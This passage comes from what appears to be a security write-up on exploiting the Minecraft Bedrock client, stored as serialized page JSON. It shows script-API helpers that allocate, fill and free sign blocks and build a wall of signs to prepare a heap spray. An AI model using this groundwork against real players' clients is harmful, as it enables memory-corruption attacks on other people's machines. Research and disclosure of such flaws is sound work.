alloc",{"type":23,"tag":41,"props":149921,"children":149922},{"style":70},[149923],{"type":28,"value":1737},{"type":23,"tag":41,"props":149925,"children":149926},{"style":858},[149927],{"type":28,"value":123978},{"type":23,"tag":41,"props":149929,"children":149930},{"style":70},[149931],{"type":28,"value":970},{"type":23,"tag":41,"props":149933,"children":149934},{"style":858},[149935],{"type":28,"value":149936},"fill",{"type":23,"tag":41,"props":149938,"children":149939},{"style":170},[149940],{"type":28,"value":2381},{"type":23,"tag":41,"props":149942,"children":149943},{"style":735},[149944],{"type":28,"value":149945},"\"A\"",{"type":23,"tag":41,"props":149947,"children":149948},{"style":70},[149949],{"type":28,"value":152},{"type":23,"tag":41,"props":149951,"children":149952},{"class":43,"line":76},[149953,149957,149961,149965,149970,149974,149979],{"type":23,"tag":41,"props":149954,"children":149955},{"style":58},[149956],{"type":28,"value":3034},{"type":23,"tag":41,"props":149958,"children":149959},{"style":70},[149960],{"type":28,"value":142},{"type":23,"tag":41,"props":149962,"children":149963},{"style":64},[149964],{"type":28,"value":11784},{"type":23,"tag":41,"props":149966,"children":149967},{"style":858},[149968],{"type":28,"value":149969}," sign",{"type":23,"tag":41,"props":149971,"children":149972},{"style":64},[149973],{"type":28,"value":10361},{"type":23,"tag":41,"props":149975,"children":149976},{"style":858},[149977],{"type":28,"value":149978}," signs",{"type":23,"tag":41,"props":149980,"children":149981},{"style":70},[149982],{"type":28,"value":152},{"type":23,"tag":41,"props":149984,"children":149985},{"class":43,"line":85},[149986,149990,149994,149999,150003,150008,150012,150016,150020,150024],{"type":23,"tag":41,"props":149987,"children":149988},{"style":58},[149989],{"type":28,"value":3272},{"type":23,"tag":41,"props":149991,"children":149992},{"style":70},[149993],{"type":28,"value":142},{"type":23,"tag":41,"props":149995,"children":149996},{"style":858},[149997],{"type":28,"value":149998},"sign",{"type":23,"tag":41,"props":150000,"children":150001},{"style":70},[150002],{"type":28,"value":706},{"type":23,"tag":41,"props":150004,"children":150005},{"style":858},[150006],{"type":28,"value":150007},"allocated",{"type":23,"tag":41,"props":150009,"children":150010},{"style":170},[150011],{"type":28,"value":23695},{"type":23,"tag":41,"props":150013,"children":150014},{"style":858},[150015],{"type":28,"value":149969},{"type":23,"tag":41,"props":150017,"children":150018},{"style":70},[150019],{"type":28,"value":706},{"type":23,"tag":41,"props":150021,"children":150022},{"style":858},[150023],{"type":28,"value":132683},{"type":23,"tag":41,"props":150025,"children":150026},{"style":70},[150027],{"type":28,"value":152},{"type":23,"tag":41,"props":150029,"children":150030},{"class":43,"line":105},[150031,150036],{"type":23,"tag":41,"props":150032,"children":150033},{"style":58},[150034],{"type":28,"value":150035},"            continue",{"type":23,"tag":41,"props":150037,"children":150038},{"style":70},[150039],{"type":28,"value":183},{"type":23,"tag":41,"props":150041,"children":150042},{"class":43,"line":155},[150043],{"type":23,"tag":41,"props":150044,"children":150045},{"style":70},[150046],{"type":28,"value":3347},{"type":23,"tag":41,"props":150048,"children":150049},{"class":43,"line":186},[150050],{"type":23,"tag":41,"props":150051,"children":150052},{"emptyLinePlaceholder":18},[150053],{"type":28,"value":82},{"type":23,"tag":41,"props":150055,"children":150056},{"class":43,"line":195},[150057,150062,150066,150070,150074,150079,150083,150087,150091,150095,150099,150103,150107,150111],{"type":23,"tag":41,"props":150058,"children":150059},{"style":858},[150060],{"type":28,"value":150061},"        sign",{"type":23,"tag":41,"props":150063,"children":150064},{"style":70},[150065],{"type":28,"value":706},{"type":23,"tag":41,"props":150067,"children":150068},{"style":858},[150069],{"type":28,"value":149998},{"type":23,"tag":41,"props":150071,"children":150072},{"style":70},[150073],{"type":28,"value":706},{"type":23,"tag":41,"props":150075,"children":150076},{"style":114},[150077],{"type":28,"value":150078},"setText",{"type":23,"tag":41,"props":150080,"children":150081},{"style":70},[150082],{"type":28,"value":1737},{"type":23,"tag":41,"props":150084,"children":150085},{"style":858},[150086],{"type":28,"value":149936},{"type":23,"tag":41,"props":150088,"children":150089},{"style":70},[150090],{"type":28,"value":706},{"type":23,"tag":41,"props":150092,"children":150093},{"style":114},[150094],{"type":28,"value":132933},{"type":23,"tag":41,"props":150096,"children":150097},{"style":70},[150098],{"type":28,"value":1737},{"type":23,"tag":41,"props":150100,"children":150101},{"style":858},[150102],{"type":28,"value":123978},{"type":23,"tag":41,"props":150104,"children":150105},{"style":170},[150106],{"type":28,"value":51250},{"type":23,"tag":41,"props":150108,"children":150109},{"style":164},[150110],{"type":28,"value":167},{"type":23,"tag":41,"props":150112,"children":150113},{"style":70},[150114],{"type":28,"value":7222},{"type":23,"tag":41,"props":150116,"children":150117},{"class":43,"line":905},[150118,150122,150126,150130,150134,150138],{"type":23,"tag":41,"props":150119,"children":150120},{"style":858},[150121],{"type":28,"value":150061},{"type":23,"tag":41,"props":150123,"children":150124},{"style":70},[150125],{"type":28,"value":706},{"type":23,"tag":41,"props":150127,"children":150128},{"style":858},[150129],{"type":28,"value":150007},{"type":23,"tag":41,"props":150131,"children":150132},{"style":170},[150133],{"type":28,"value":3017},{"type":23,"tag":41,"props":150135,"children":150136},{"style":64},[150137],{"type":28,"value":915},{"type":23,"tag":41,"props":150139,"children":150140},{"style":70},[150141],{"type":28,"value":183},{"type":23,"tag":41,"props":150143,"children":150144},{"class":43,"line":922},[150145,150149,150153],{"type":23,"tag":41,"props":150146,"children":150147},{"style":58},[150148],{"type":28,"value":161},{"type":23,"tag":41,"props":150150,"children":150151},{"style":858},[150152],{"type":28,"value":149969},{"type":23,"tag":41,"props":150154,"children":150155},{"style":70},[150156],{"type":28,"value":183},{"type":23,"tag":41,"props":150158,"children":150159},{"class":43,"line":930},[150160],{"type":23,"tag":41,"props":150161,"children":150162},{"style":70},[150163],{"type":28,"value":192},{"type":23,"tag":41,"props":150165,"children":150166},{"class":43,"line":939},[150167],{"type":23,"tag":41,"props":150168,"children":150169},{"emptyLinePlaceholder":18},[150170],{"type":28,"value":82},{"type":23,"tag":41,"props":150172,"children":150173},{"class":43,"line":947},[150174,150178,150182,150187,150191,150196],{"type":23,"tag":41,"props":150175,"children":150176},{"style":858},[150177],{"type":28,"value":31433},{"type":23,"tag":41,"props":150179,"children":150180},{"style":70},[150181],{"type":28,"value":706},{"type":23,"tag":41,"props":150183,"children":150184},{"style":114},[150185],{"type":28,"value":150186},"warn",{"type":23,"tag":41,"props":150188,"children":150189},{"style":70},[150190],{"type":28,"value":1737},{"type":23,"tag":41,"props":150192,"children":150193},{"style":735},[150194],{"type":28,"value":150195},"\"No more allocs\"",{"type":23,"tag":41,"props":150197,"children":150198},{"style":70},[150199],{"type":28,"value":3825},{"type":23,"tag":41,"props":150201,"children":150202},{"class":43,"line":985},[150203,150207,150211],{"type":23,"tag":41,"props":150204,"children":150205},{"style":58},[150206],{"type":28,"value":1090},{"type":23,"tag":41,"props":150208,"children":150209},{"style":64},[150210],{"type":28,"value":39330},{"type":23,"tag":41,"props":150212,"children":150213},{"style":70},[150214],{"type":28,"value":183},{"type":23,"tag":41,"props":150216,"children":150217},{"class":43,"line":1058},[150218],{"type":23,"tag":41,"props":150219,"children":150220},{"style":70},[150221],{"type":28,"value":201},{"type":23,"tag":41,"props":150223,"children":150224},{"class":43,"line":1084},[150225],{"type":23,"tag":41,"props":150226,"children":150227},{"emptyLinePlaceholder":18},[150228],{"type":28,"value":82},{"type":23,"tag":41,"props":150230,"children":150231},{"class":43,"line":1102},[150232],{"type":23,"tag":41,"props":150233,"children":150234},{"style":48},[150235],{"type":28,"value":150236},"// Free an allocated sign in the client\n",{"type":23,"tag":41,"props":150238,"children":150239},{"class":43,"line":1110},[150240,150244,150249,150253,150257],{"type":23,"tag":41,"props":150241,"children":150242},{"style":64},[150243],{"type":28,"value":31371},{"type":23,"tag":41,"props":150245,"children":150246},{"style":114},[150247],{"type":28,"value":150248}," free",{"type":23,"tag":41,"props":150250,"children":150251},{"style":70},[150252],{"type":28,"value":1737},{"type":23,"tag":41,"props":150254,"children":150255},{"style":858},[150256],{"type":28,"value":149998},{"type":23,"tag":41,"props":150258,"children":150259},{"style":70},[150260],{"type":28,"value":152},{"type":23,"tag":41,"props":150262,"children":150263},{"class":43,"line":1118},[150264,150268,150272,150276,150280,150284,150288,150292,150296,150300,150304,150308],{"type":23,"tag":41,"props":150265,"children":150266},{"style":58},[150267],{"type":28,"value":2440},{"type":23,"tag":41,"props":150269,"children":150270},{"style":70},[150271],{"type":28,"value":142},{"type":23,"tag":41,"props":150273,"children":150274},{"style":858},[150275],{"type":28,"value":149998},{"type":23,"tag":41,"props":150277,"children":150278},{"style":170},[150279],{"type":28,"value":3282},{"type":23,"tag":41,"props":150281,"children":150282},{"style":64},[150283],{"type":28,"value":39330},{"type":23,"tag":41,"props":150285,"children":150286},{"style":170},[150287],{"type":28,"value":23695},{"type":23,"tag":41,"props":150289,"children":150290},{"style":858},[150291],{"type":28,"value":149969},{"type":23,"tag":41,"props":150293,"children":150294},{"style":70},[150295],{"type":28,"value":706},{"type":23,"tag":41,"props":150297,"children":150298},{"style":858},[150299],{"type":28,"value":150007},{"type":23,"tag":41,"props":150301,"children":150302},{"style":170},[150303],{"type":28,"value":3282},{"type":23,"tag":41,"props":150305,"children":150306},{"style":64},[150307],{"type":28,"value":1095},{"type":23,"tag":41,"props":150309,"children":150310},{"style":70},[150311],{"type":28,"value":152},{"type":23,"tag":41,"props":150313,"children":150314},{"class":43,"line":1137},[150315,150319],{"type":23,"tag":41,"props":150316,"children":150317},{"style":58},[150318],{"type":28,"value":161},{"type":23,"tag":41,"props":150320,"children":150321},{"style":70},[150322],{"type":28,"value":183},{"type":23,"tag":41,"props":150324,"children":150325},{"class":43,"line":1163},[150326],{"type":23,"tag":41,"props":150327,"children":150328},{"style":70},[150329],{"type":28,"value":192},{"type":23,"tag":41,"props":150331,"children":150332},{"class":43,"line":1188},[150333],{"type":23,"tag":41,"props":150334,"children":150335},{"emptyLinePlaceholder":18},[150336],{"type":28,"value":82},{"type":23,"tag":41,"props":150338,"children":150339},{"class":43,"line":1979},[150340,150345,150349,150353,150357,150361,150365,150370],{"type":23,"tag":41,"props":150341,"children":150342},{"style":858},[150343],{"type":28,"value":150344},"    sign",{"type":23,"tag":41,"props":150346,"children":150347},{"style":70},[150348],{"type":28,"value":706},{"type":23,"tag":41,"props":150350,"children":150351},{"style":858},[150352],{"type":28,"value":149998},{"type":23,"tag":41,"props":150354,"children":150355},{"style":70},[150356],{"type":28,"value":706},{"type":23,"tag":41,"props":150358,"children":150359},{"style":114},[150360],{"type":28,"value":150078},{"type":23,"tag":41,"props":150362,"children":150363},{"style":70},[150364],{"type":28,"value":1737},{"type":23,"tag":41,"props":150366,"children":150367},{"style":735},[150368],{"type":28,"value":150369},"\"\"",{"type":23,"tag":41,"props":150371,"children":150372},{"style":70},[150373],{"type":28,"value":3825},{"type":23,"tag":41,"props":150375,"children":150376},{"class":43,"line":2002},[150377,150381,150385,150389,150393,150397],{"type":23,"tag":41,"props":150378,"children":150379},{"style":858},[150380],{"type":28,"value":150344},{"type":23,"tag":41,"props":150382,"children":150383},{"style":70},[150384],{"type":28,"value":706},{"type":23,"tag":41,"props":150386,"children":150387},{"style":858},[150388],{"type":28,"value":150007},{"type":23,"tag":41,"props":150390,"children":150391},{"style":170},[150392],{"type":28,"value":3017},{"type":23,"tag":41,"props":150394,"children":150395},{"style":64},[150396],{"type":28,"value":1095},{"type":23,"tag":41,"props":150398,"children":150399},{"style":70},[150400],{"type":28,"value":183},{"type":23,"tag":41,"props":150402,"children":150403},{"class":43,"line":3835},[150404],{"type":23,"tag":41,"props":150405,"children":150406},{"emptyLinePlaceholder":18},[150407],{"type":28,"value":82},{"type":23,"tag":41,"props":150409,"children":150410},{"class":43,"line":3895},[150411,150415,150419,150424,150428,150433],{"type":23,"tag":41,"props":150412,"children":150413},{"style":858},[150414],{"type":28,"value":150344},{"type":23,"tag":41,"props":150416,"children":150417},{"style":70},[150418],{"type":28,"value":706},{"type":23,"tag":41,"props":150420,"children":150421},{"style":858},[150422],{"type":28,"value":150423},"block",{"type":23,"tag":41,"props":150425,"children":150426},{"style":70},[150427],{"type":28,"value":706},{"type":23,"tag":41,"props":150429,"children":150430},{"style":114},[150431],{"type":28,"value":150432},"setPermutation",{"type":23,"tag":41,"props":150434,"children":150435},{"style":70},[150436],{"type":28,"value":3461},{"type":23,"tag":41,"props":150438,"children":150439},{"class":43,"line":9044},[150440,150445,150449,150454,150458,150463],{"type":23,"tag":41,"props":150441,"children":150442},{"style":858},[150443],{"type":28,"value":150444},"        BlockPermutation",{"type":23,"tag":41,"props":150446,"children":150447},{"style":70},[150448],{"type":28,"value":706},{"type":23,"tag":41,"props":150450,"children":150451},{"style":114},[150452],{"type":28,"value":150453},"resolve",{"type":23,"tag":41,"props":150455,"children":150456},{"style":70},[150457],{"type":28,"value":1737},{"type":23,"tag":41,"props":150459,"children":150460},{"style":735},[150461],{"type":28,"value":150462},"\"minecraft:air\"",{"type":23,"tag":41,"props":150464,"children":150465},{"style":70},[150466],{"type":28,"value":1969},{"type":23,"tag":41,"props":150468,"children":150469},{"class":43,"line":9061},[150470],{"type":23,"tag":41,"props":150471,"children":150472},{"style":70},[150473],{"type":28,"value":43649},{"type":23,"tag":41,"props":150475,"children":150476},{"class":43,"line":9106},[150477,150481,150485,150489,150493,150497],{"type":23,"tag":41,"props":150478,"children":150479},{"style":858},[150480],{"type":28,"value":150344},{"type":23,"tag":41,"props":150482,"children":150483},{"style":70},[150484],{"type":28,"value":706},{"type":23,"tag":41,"props":150486,"children":150487},{"style":858},[150488],{"type":28,"value":132683},{"type":23,"tag":41,"props":150490,"children":150491},{"style":170},[150492],{"type":28,"value":3017},{"type":23,"tag":41,"props":150494,"children":150495},{"style":64},[150496],{"type":28,"value":915},{"type":23,"tag":41,"props":150498,"children":150499},{"style":70},[150500],{"type":28,"value":183},{"type":23,"tag":41,"props":150502,"children":150503},{"class":43,"line":9212},[150504],{"type":23,"tag":41,"props":150505,"children":150506},{"style":70},[150507],{"type":28,"value":201},{"type":23,"tag":24,"props":150509,"children":150510},{},[150511,150513,150519],{"type":28,"value":150512},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":23,"tag":37,"props":150514,"children":150516},{"className":150515},[],[150517],{"type":28,"value":150518},"signs",{"type":28,"value":150520}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":23,"tag":31,"props":150522,"children":150524},{"code":150523,"language":35610,"meta":7,"className":35608,"style":7},"let signs;\n\nfunction create_wall() {\n    signs = [];\n\n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n            [...]\n            \n            const sign_block = world\n                .getDimension(\"overworld\")\n                .getBlock(sign_location);\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:wall_sign\", {\n                    facing_direction: 3\n                }\n            ));\n            let sign_component = sign_block\n                .getComponent(BlockComponentTypes.Sign);\n\n            signs.push({\n                sign: sign_component,\n                allocated: false,\n                block: sign_block,\n                removed: false\n            });\n        }\n    }\n}\n\nfunction remove_wall() {\n    signs = [];\n    \n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n            \n            [...]\n             \n            const sign_block = await wait_for_block(\n                world.getDimension(\"overworld\"),\n                sign_location\n            );\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:air\")\n            );\n\n            [...]\n        }\n    }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n    create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n    remove_wall();\n});\n",[150525],{"type":23,"tag":37,"props":150526,"children":150527},{"__ignoreMap":7},[150528,150543,150550,150566,150583,150590,150652,150714,150721,150737,150745,150767,150793,150818,150838,150867,150879,150886,150894,150916,150950,150957,150977,150993,151009,151025,151037,151045,151052,151059,151066,151073,151089,151104,151111,151170,151229,151236,151251,151259,151287,151315,151323,151330,151349,151376,151383,151390,151405,151412,151419,151426,151433,151489,151501,151508,151515,151576,151588],{"type":23,"tag":41,"props":150529,"children":150530},{"class":43,"line":44},[150531,150535,150539],{"type":23,"tag":41,"props":150532,"children":150533},{"style":64},[150534],{"type":28,"value":11784},{"type":23,"tag":41,"props":150536,"children":150537},{"style":858},[150538],{"type":28,"value":149978},{"type":23,"tag":41,"props":150540,"children":150541},{"style":70},[150542],{"type":28,"value":183},{"type":23,"tag":41,"props":150544,"children":150545},{"class":43,"line":54},[150546],{"type":23,"tag":41,"props":150547,"children":150548},{"emptyLinePlaceholder":18},[150549],{"type":28,"value":82},{"type":23,"tag":41,"props":150551,"children":150552},{"class":43,"line":76},[150553,150557,150562],{"type":23,"tag":41,"props":150554,"children":150555},{"style":64},[150556],{"type":28,"value":31371},{"type":23,"tag":41,"props":150558,"children":150559},{"style":114},[150560],{"type":28,"value":150561}," create_wall",{"type":23,"tag":41,"props":150563,"children":150564},{"style":70},[150565],{"type":28,"value":1134},{"type":23,"tag":41,"props":150567,"children":150568},{"class":43,"line":85},[150569,150574,150578],{"type":23,"tag":41,"props":150570,"children":150571},{"style":858},[150572],{"type":28,"value":150573},"    signs",{"type":23,"tag":41,"props":150575,"children":150576},{"style":170},[150577],{"type":28,"value":3017},{"type":23,"tag":41,"props":150579,"children":150580},{"style":70},[150581],{"type":28,"value":150582}," [];\n",{"type":23,"tag":41,"props":150584,"children":150585},{"class":43,"line":105},[150586],{"type":23,"tag":41,"props":150587,"children":150588},{"emptyLinePlaceholder":18},[150589],{"type":28,"value":82},{"type":23,"tag":41,"props":150591,"children":150592},{"class":43,"line":155},[150593,150597,150601,150605,150610,150614,150618,150622,150627,150631,150636,150640,150644,150648],{"type":23,"tag":41,"props":150594,"children":150595},{"style":58},[150596],{"type":28,"value":3034},{"type":23,"tag":41,"props":150598,"children":150599},{"style":70},[150600],{"type":28,"value":142},{"type":23,"tag":41,"props":150602,"children":150603},{"style":64},[150604],{"type":28,"value":11784},{"type":23,"tag":41,"props":150606,"children":150607},{"style":858},[150608],{"type":28,"value":150609}," current_y",{"type":23,"tag":41,"props":150611,"children":150612},{"style":170},[150613],{"type":28,"value":3017},{"type":23,"tag":41,"props":150615,"children":150616},{"style":164},[150617],{"type":28,"value":392},{"type":23,"tag":41,"props":150619,"children":150620},{"style":70},[150621],{"type":28,"value":17213},{"type":23,"tag":41,"props":150623,"children":150624},{"style":858},[150625],{"type":28,"value":150626},"current_y",{"type":23,"tag":41,"props":150628,"children":150629},{"style":170},[150630],{"type":28,"value":758},{"type":23,"tag":41,"props":150632,"children":150633},{"style":858},[150634],{"type":28,"value":150635}," WALL_HEIGHT",{"type":23,"tag":41,"props":150637,"children":150638},{"style":70},[150639],{"type":28,"value":17213},{"type":23,"tag":41,"props":150641,"children":150642},{"style":858},[150643],{"type":28,"value":150626},{"type":23,"tag":41,"props":150645,"children":150646},{"style":170},[150647],{"type":28,"value":51264},{"type":23,"tag":41,"props":150649,"children":150650},{"style":70},[150651],{"type":28,"value":152},{"type":23,"tag":41,"props":150653,"children":150654},{"class":43,"line":186},[150655,150659,150663,150667,150672,150676,150680,150684,150689,150693,150698,150702,150706,150710],{"type":23,"tag":41,"props":150656,"children":150657},{"style":58},[150658],{"type":28,"value":60573},{"type":23,"tag":41,"props":150660,"children":150661},{"style":70},[150662],{"type":28,"value":142},{"type":23,"tag":41,"props":150664,"children":150665},{"style":64},[150666],{"type":28,"value":11784},{"type":23,"tag":41,"props":150668,"children":150669},{"style":858},[150670],{"type":28,"value":150671}," current_x",{"type":23,"tag":41,"props":150673,"children":150674},{"style":170},[150675],{"type":28,"value":3017},{"type":23,"tag":41,"props":150677,"children":150678},{"style":164},[150679],{"type":28,"value":392},{"type":23,"tag":41,"props":150681,"children":150682},{"style":70},[150683],{"type":28,"value":17213},{"type":23,"tag":41,"props":150685,"children":150686},{"style":858},[150687],{"type":28,"value":150688},"current_x",{"type":23,"tag":41,"props":150690,"children":150691},{"style":170},[150692],{"type":28,"value":758},{"type":23,"tag":41,"props":150694,"children":150695},{"style":858},[150696],{"type":28,"value":150697}," WALL_WIDTH",{"type":23,"tag":41,"props":150699,"children":150700},{"style":70},[150701],{"type":28,"value":17213},{"type":23,"tag":41,"props":150703,"children":150704},{"style":858},[150705],{"type":28,"value":150688},{"type":23,"tag":41,"props":150707,"children":150708},{"style":170},[150709],{"type":28,"value":51264},{"type":23,"tag":41,"props":150711,"children":150712},{"style":70},[150713],{"type":28,"value":152},{"type":23,"tag":41,"props":150715,"children":150716},{"class":43,"line":195},[150717],{"type":23,"tag":41,"props":150718,"children":150719},{"emptyLinePlaceholder":18},[150720],{"type":28,"value":82},{"type":23,"tag":41,"props":150722,"children":150723},{"class":43,"line":905},[150724,150729,150733],{"type":23,"tag":41,"props":150725,"children":150726},{"style":70},[150727],{"type":28,"value":150728},"            [",{"type":23,"tag":41,"props":150730,"children":150731},{"style":170},[150732],{"type":28,"value":9589},{"type":23,"tag":41,"props":150734,"children":150735},{"style":70},[150736],{"type":28,"value":11769},{"type":23,"tag":41,"props":150738,"children":150739},{"class":43,"line":922},[150740],{"type":23,"tag":41,"props":150741,"children":150742},{"style":70},[150743],{"type":28,"value":150744},"            \n",{"type":23,"tag":41,"props":150746,"children":150747},{"class":43,"line":930},[150748,150753,150758,150762],{"type":23,"tag":41,"props":150749,"children":150750},{"style":64},[150751],{"type":28,"value":150752},"            const",{"type":23,"tag":41,"props":150754,"children":150755},{"style":858},[150756],{"type":28,"value":150757}," sign_block",{"type":23,"tag":41,"props":150759,"children":150760},{"style":170},[150761],{"type":28,"value":3017},{"type":23,"tag":41,"props":150763,"children":150764},{"style":858},[150765],{"type":28,"value":150766}," world\n",{"type":23,"tag":41,"props":150768,"children":150769},{"class":43,"line":939},[150770,150775,150780,150784,150789],{"type":23,"tag":41,"props":150771,"children":150772},{"style":70},[150773],{"type":28,"value":150774},"                .",{"type":23,"tag":41,"props":150776,"children":150777},{"style":114},[150778],{"type":28,"value":150779},"getDimension",{"type":23,"tag":41,"props":150781,"children":150782},{"style":70},[150783],{"type":28,"value":1737},{"type":23,"tag":41,"props":150785,"children":150786},{"style":735},[150787],{"type":28,"value":150788},"\"overworld\"",{"type":23,"tag":41,"props":150790,"children":150791},{"style":70},[150792],{"type":28,"value":1969},{"type":23,"tag":41,"props":150794,"children":150795},{"class":43,"line":947},[150796,150800,150805,150809,150814],{"type":23,"tag":41,"props":150797,"children":150798},{"style":70},[150799],{"type":28,"value":150774},{"type":23,"tag":41,"props":150801,"children":150802},{"style":114},[150803],{"type":28,"value":150804},"getBlock",{"type":23,"tag":41,"props":150806,"children":150807},{"style":70},[150808],{"type":28,"value":1737},{"type":23,"tag":41,"props":150810,"children":150811},{"style":858},[150812],{"type":28,"value":150813},"sign_location",{"type":23,"tag":41,"props":150815,"children":150816},{"style":70},[150817],{"type":28,"value":3825},{"type":23,"tag":41,"props":150819,"children":150820},{"class":43,"line":985},[150821,150826,150830,150834],{"type":23,"tag":41,"props":150822,"children":150823},{"style":858},[150824],{"type":28,"value":150825},"            sign_block",{"type":23,"tag":41,"props":150827,"children":150828},{"style":70},[150829],{"type":28,"value":706},{"type":23,"tag":41,"props":150831,"children":150832},{"style":114},[150833],{"type":28,"value":150432},{"type":23,"tag":41,"props":150835,"children":150836},{"style":70},[150837],{"type":28,"value":3461},{"type":23,"tag":41,"props":150839,"children":150840},{"class":43,"line":1058},[150841,150846,150850,150854,150858,150863],{"type":23,"tag":41,"props":150842,"children":150843},{"style":858},[150844],{"type":28,"value":150845},"                BlockPermutation",{"type":23,"tag":41,"props":150847,"children":150848},{"style":70},[150849],{"type":28,"value":706},{"type":23,"tag":41,"props":150851,"children":150852},{"style":114},[150853],{"type":28,"value":150453},{"type":23,"tag":41,"props":150855,"children":150856},{"style":70},[150857],{"type":28,"value":1737},{"type":23,"tag":41,"props":150859,"children":150860},{"style":735},[150861],{"type":28,"value":150862},"\"minecraft:wall_sign\"",{"type":23,"tag":41,"props":150864,"children":150865},{"style":70},[150866],{"type":28,"value":48876},{"type":23,"tag":41,"props":150868,"children":150869},{"class":43,"line":1084},[150870,150875],{"type":23,"tag":41,"props":150871,"children":150872},{"style":858},[150873],{"type":28,"value":150874},"                    facing_direction:",{"type":23,"tag":41,"props":150876,"children":150877},{"style":164},[150878],{"type":28,"value":19314},{"type":23,"tag":41,"props":150880,"children":150881},{"class":43,"line":1102},[150882],{"type":23,"tag":41,"props":150883,"children":150884},{"style":70},[150885],{"type":28,"value":71066},{"type":23,"tag":41,"props":150887,"children":150888},{"class":43,"line":1110},[150889],{"type":23,"tag":41,"props":150890,"children":150891},{"style":70},[150892],{"type":28,"value":150893},"            ));\n",{"type":23,"tag":41,"props":150895,"children":150896},{"class":43,"line":1118},[150897,150902,150907,150911],{"type":23,"tag":41,"props":150898,"children":150899},{"style":64},[150900],{"type":28,"value":150901},"            let",{"type":23,"tag":41,"props":150903,"children":150904},{"style":858},[150905],{"type":28,"value":150906}," sign_component",{"type":23,"tag":41,"props":150908,"children":150909},{"style":170},[150910],{"type":28,"value":3017},{"type":23,"tag":41,"props":150912,"children":150913},{"style":858},[150914],{"type":28,"value":150915}," sign_block\n",{"type":23,"tag":41,"props":150917,"children":150918},{"class":43,"line":1137},[150919,150923,150928,150932,150937,150941,150946],{"type":23,"tag":41,"props":150920,"children":150921},{"style":70},[150922],{"type":28,"value":150774},{"type":23,"tag":41,"props":150924,"children":150925},{"style":114},[150926],{"type":28,"value":150927},"getComponent",{"type":23,"tag":41,"props":150929,"children":150930},{"style":70},[150931],{"type":28,"value":1737},{"type":23,"tag":41,"props":150933,"children":150934},{"style":858},[150935],{"type":28,"value":150936},"BlockComponentTypes",{"type":23,"tag":41,"props":150938,"children":150939},{"style":70},[150940],{"type":28,"value":706},{"type":23,"tag":41,"props":150942,"children":150943},{"style":858},[150944],{"type":28,"value":150945},"Sign",{"type":23,"tag":41,"props":150947,"children":150948},{"style":70},[150949],{"type":28,"value":3825},{"type":23,"tag":41,"props":150951,"children":150952},{"class":43,"line":1163},[150953],{"type":23,"tag":41,"props":150954,"children":150955},{"emptyLinePlaceholder":18},[150956],{"type":28,"value":82},{"type":23,"tag":41,"props":150958,"children":150959},{"class":43,"line":1188},[150960,150965,150969,150973],{"type":23,"tag":41,"props":150961,"children":150962},{"style":858},[150963],{"type":28,"value":150964},"            signs",{"type":23,"tag":41,"props":150966,"children":150967},{"style":70},[150968],{"type":28,"value":706},{"type":23,"tag":41,"props":150970,"children":150971},{"style":114},[150972],{"type":28,"value":3811},{"type":23,"tag":41,"props":150974,"children":150975},{"style":70},[150976],{"type":28,"value":15132},{"type":23,"tag":41,"props":150978,"children":150979},{"class":43,"line":1979},[150980,150985,150989],{"type":23,"tag":41,"props":150981,"children":150982},{"style":858},[150983],{"type":28,"value":150984},"                sign:",{"type":23,"tag":41,"props":150986,"children":150987},{"style":858},[150988],{"type":28,"value":150906},{"type":23,"tag":41,"props":150990,"children":150991},{"style":70},[150992],{"type":28,"value":3506},{"type":23,"tag":41,"props":150994,"children":150995},{"class":43,"line":2002},[150996,151001,151005],{"type":23,"tag":41,"props":150997,"children":150998},{"style":858},[150999],{"type":28,"value":151000},"                allocated:",{"type":23,"tag":41,"props":151002,"children":151003},{"style":64},[151004],{"type":28,"value":1095},{"type":23,"tag":41,"props":151006,"children":151007},{"style":70},[151008],{"type":28,"value":3506},{"type":23,"tag":41,"props":151010,"children":151011},{"class":43,"line":3835},[151012,151017,151021],{"type":23,"tag":41,"props":151013,"children":151014},{"style":858},[151015],{"type":28,"value":151016},"                block:",{"type":23,"tag":41,"props":151018,"children":151019},{"style":858},[151020],{"type":28,"value":150757},{"type":23,"tag":41,"props":151022,"children":151023},{"style":70},[151024],{"type":28,"value":3506},{"type":23,"tag":41,"props":151026,"children":151027},{"class":43,"line":3895},[151028,151033],{"type":23,"tag":41,"props":151029,"children":151030},{"style":858},[151031],{"type":28,"value":151032},"                removed:",{"type":23,"tag":41,"props":151034,"children":151035},{"style":64},[151036],{"type":28,"value":12307},{"type":23,"tag":41,"props":151038,"children":151039},{"class":43,"line":9044},[151040],{"type":23,"tag":41,"props":151041,"children":151042},{"style":70},[151043],{"type":28,"value":151044},"            });\n",{"type":23,"tag":41,"props":151046,"children":151047},{"class":43,"line":9061},[151048],{"type":23,"tag":41,"props":151049,"children":151050},{"style":70},[151051],{"type":28,"value":3347},{"type":23,"tag":41,"props":151053,"children":151054},{"class":43,"line":9106},[151055],{"type":23,"tag":41,"props":151056,"children":151057},{"style":70},[151058],{"type":28,"value":192},{"type":23,"tag":41,"props":151060,"children":151061},{"class":43,"line":9212},[151062],{"type":23,"tag":41,"props":151063,"children":151064},{"style":70},[151065],{"type":28,"value":201},{"type":23,"tag":41,"props":151067,"children":151068},{"class":43,"line":23496},[151069],{"type":23,"tag":41,"props":151070,"children":151071},{"emptyLinePlaceholder":18},[151072],{"type":28,"value":82},{"type":23,"tag":41,"props":151074,"children":151075},{"class":43,"line":23531},[151076,151080,151085],{"type":23,"tag":41,"props":151077,"children":151078},{"style":64},[151079],{"type":28,"value":31371},{"type":23,"tag":41,"props":151081,"children":151082},{"style":114},[151083],{"type":28,"value":151084}," 